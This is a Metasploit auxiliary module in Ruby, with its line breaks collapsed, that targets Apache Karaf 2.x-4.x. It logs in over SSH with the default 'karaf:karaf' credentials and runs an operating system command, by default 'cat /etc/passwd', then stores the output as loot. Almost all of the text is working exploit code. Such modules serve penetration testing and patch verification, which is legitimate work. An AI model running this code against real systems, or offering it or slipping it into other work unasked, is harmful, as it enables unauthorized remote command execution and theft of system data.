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Apache Karaf Default Credentials Command Execution
This Metasploit module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x. The karaf user has a known default password, which can be used to login to the SSH service, and execute operating system commands from remote.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/ssh'class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Apache Karaf Default Credentials Command Execution", 'Description' => %q{ This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x. The 'karaf' user has a known default password, which can be used to login to the SSH service, and execute operating system commands from remote. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicholas Starke <[email protected]>' ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'DisclosureDate' => '2016-02-09')) register_options( [ Opt::RPORT(8101), OptString.new('USERNAME', [true, 'Username', 'karaf']), OptString.new('PASSWORD', [true, 'Password', 'karaf']), OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd']) ], self.class ) register_advanced_options( [ Opt::Proxies, OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rport datastore['RPORT'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def cmd datastore['CMD'] end def do_login(user, pass, ip) opts = ssh_client_defaults.merge({ :auth_methods => ['password'], :port => rport, :password => pass, }) opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(ip, user, opts) end if ssh print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'") else print_error "#{ip}:#{rport} - Unknown error" end rescue OpenSSL::Cipher::CipherError => e print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})") return rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{ip}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{ip}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{ip}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}" return end ssh end def run_host(ip) print_status("#{ip}:#{rport} - Attempt to login...") ssh = do_login(username, password, ip) if ssh output = ssh.exec!("#{cmd}\n").to_s if output print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}") store_loot("apache.karaf.command", "text/plain", ip, output) vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command") else print_error "#{ip}:#{rport} - Command failed to execute" end end endend